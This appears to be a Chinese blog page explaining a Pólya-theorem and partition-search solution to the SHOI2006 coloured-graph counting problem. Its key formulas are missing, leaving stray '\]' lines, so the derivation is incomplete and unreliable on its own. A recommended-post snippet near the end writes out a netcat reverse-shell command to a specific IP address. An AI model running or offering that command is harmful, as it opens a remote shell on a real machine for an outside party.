「SHOI2006」有色图
首先发现这题虽然是边的置换,但是是由点的置换所造成的,并且发现点置换对应的所有边置换和置换操作构成置换群。
由于颜色可以全选,那么根据 Polya 定理,答案为:
\]
注意到不同点的置换对应边置换不同,那么只需要考虑每个点置换对应边置换的贡献之和。
对于一个点置换,发现一个点循环置换内部导出子图的边一定置换到另一条也在导出子图当中的边,因此考虑分边循环置换是否在导出点循环置换导出子图内部来分类。
- 一个点循环置换内部(大小为 \(L\))导出子图边循环置换个数为 \(\frac{L}{2}\).
以长度 \(c\) 为周期与长度 \(L - c\) 为周期本质相同。
- 两个点循环置换导出子图之间的边置换后还在这两个点循环置换导出子图之间,并且有 \(\frac{L_1L_2}{\mathrm{lcm}(L_1, L_2)} = (L_1, L_2)\) 个边循环置换。
考虑任意一条此位置的边循环 \(\mathrm{lcm}(L_1, L_2)\) 次之后就会回到这条边。
因此对于一个循环置换大小为 \(a_1, a_2, \cdots a_k\) 的点循环置换,它的贡献为:
\]
注意到数据范围较小,且只需要搜索所有划分数,因此可以直接爆搜通过。
需要注意的是,令 \(c_i\) 为大小为 \(i\) 的数选了 \(c_i\) 个,那么一种划分对应点循环置换个数为:
\]
需要注意一些实现上的问题,比如一定要保证每一轮搜索结束都能恰好搜到一个划分,不然复杂度是划分数前缀和的,具体方法就是从大往小搜,搜到 \(1\) 的时候强制填满。
同时需要注意每次搜索不要经过不填入划分当中的数,每次枚举下一个填的数是什么。
同时每次只考虑填入多少个数来减小贡献的计算,这样至少能保证每个划分数计算的次数只有 \(len(p) \le \sqrt{n}\) 次(\(len(p)\) 为划分 \(p\) 当中本质不同的数的个数)
然后如果边填数边计算贡献,原本计算单个划分数的复杂度就可以均摊到何其前缀相同的每个划分数上,这样复杂度就是 \(\mathcal{O}(p(n))\) 其中 \(p(n)\) 为 \(n\) 的划分数。
下面这份代码大概能在 \(1s\) 内跑完 \(80\).
同时贴一份划分数本质不同个数次幂和的表:这里
「SHOI2006」有色图的更多相关文章
- 「译」JUnit 5 系列:条件测试
原文地址:http://blog.codefx.org/libraries/junit-5-conditions/ 原文日期:08, May, 2016 译文首发:Linesh 的博客:「译」JUni ...
- 「译」JUnit 5 系列:扩展模型(Extension Model)
原文地址:http://blog.codefx.org/design/architecture/junit-5-extension-model/ 原文日期:11, Apr, 2016 译文首发:Lin ...
- JavaScript OOP 之「创建对象」
工厂模式 工厂模式是软件工程领域一种广为人知的设计模式,这种模式抽象了创建具体对象的过程.工厂模式虽然解决了创建多个相似对象的问题,但却没有解决对象识别的问题. function createPers ...
- 「C++」理解智能指针
维基百科上面对于「智能指针」是这样描述的: 智能指针(英语:Smart pointer)是一种抽象的数据类型.在程序设计中,它通常是经由类型模板(class template)来实做,借由模板(tem ...
- 「JavaScript」四种跨域方式详解
超详细并且带 Demo 的 JavaScript 跨域指南来了! 本文基于你了解 JavaScript 的同源策略,并且了解使用跨域跨域的理由. 1. JSONP 首先要介绍的跨域方法必然是 JSON ...
- 「2014-5-31」Z-Stack - Modification of Zigbee Device Object for better network access management
写一份赏心悦目的工程文档,是很困难的事情.若想写得完善,不仅得用对工具(use the right tools),注重文笔,还得投入大把时间,真心是一件难度颇高的事情.但,若是真写好了,也是善莫大焉: ...
- 「2014-3-18」multi-pattern string match using aho-corasick
我是擅(倾)长(向)把一篇文章写成杂文的.毕竟,写博客记录生活点滴,比不得发 paper,要求字斟句酌八股结构到位:风格偏杂文一点,也是没人拒稿的.这么说来,arxiv 就好比是 paper 世界的博 ...
- 「2014-3-17」C pointer again …
记录一个比较基础的东东-- C 语言的指针,一直让人又爱又恨,爱它的人觉得它既灵活又强大,恨它的人觉得它太过于灵活太过于强大以至于容易将人绕晕.最早接触 C 语言,还是在刚进入大学的时候,算起来有好些 ...
- 「2014-3-13」Javascript Engine, Java VM, Python interpreter, PyPy – a glance
提要: url anchor (ajax) => javascript engine (1~4 articles) => java VM vs. python interpreter =& ...
随机推荐
- Netcat反弹shell的方法
VPS监听: aliyun: nc -lvnp 7777 监听7777端口 被监听: nc -w 10 -e /bin/bash 8.130.49.121 7777 (-w:连接超时时间 -e 使 ...
- CAS学习笔记一:CAS 授权服务器简易搭建
什么是CAS CAS是Central Authentication Service的缩写,中央认证服务,一种独立开放指令协议.CAS 是 耶鲁大学(Yale University)发起的一个开源项目, ...
- 据库自增ID用完
Mysql里int类型是4个字节,如果有符号位的话就是[-2^31,2^31-1],无符号位的话最大值就是2^32-1,也就是4294967295. 自增ID达到上限用完了之后,分为两种情况: 如果设 ...
- JUC之线程间的通信
线程通信 视频1: 2021.12.18 JUC视频学习片段 对上次多线程编程步骤补充(中部): 创建资源类,在资源类中创建属性和操作方法 在资源类里面操作 判断 干活 通知 创建多个线程,调用资源类 ...
- 【jvm】04-我偷偷改了你编译后的class文件
[jvm]04-我偷偷改了你编译后的class文件 欢迎关注b站账号/公众号[六边形战士夏宁],一个要把各项指标拉满的男人.该文章已在github目录收录. 屏幕前的大帅比和大漂亮如果有帮助到你的话请 ...
- HTML网页设计基础笔记 • 【第1章 HTML5基础】
全部章节 >>>> 本章目录 1.1 HTML介绍及开发工具 1.1.1 HTML 的基本概念 1.1.2 网页 1.1.3 Web 标准 1.1.4 HTML5 与移动互 ...
- 为什么说DI解耦
为什么说IOC/DI(控制反转/依赖注入)降低耦合 public class HomeController : Controller { private readonly IStudentRepons ...
- 涂鸦智能 dubbo-go 亿级流量的实践与探索
涂鸦智能 dubbo-go 亿级流量的实践与探索 dubbo 是一个基于 Java 开发的高性能的轻量级 RPC 框架,dubbo 提供了丰富的服务治理功能和优秀的扩展能力.而 dubbo-go 在 ...
- springboot的build.gradle增加阿里仓库地址以及eclipse增加lombok
该随笔仅限自己记录,请谨慎参考!! 为什么把这2块内容放一个标题里? 发现lombok和eclipse结合的一些问题 关于lombok如何与eclipse结合,网上应该有很多教程,我这块已经做过了,但 ...
- python+requests传两种参数体
在JMeter请求参数中,我们了解到,在做接口测试时,发送请求的参数有两种格式,一种是Parameters,一种是JSON.怎么区分请看 https://www.cnblogs.com/testlea ...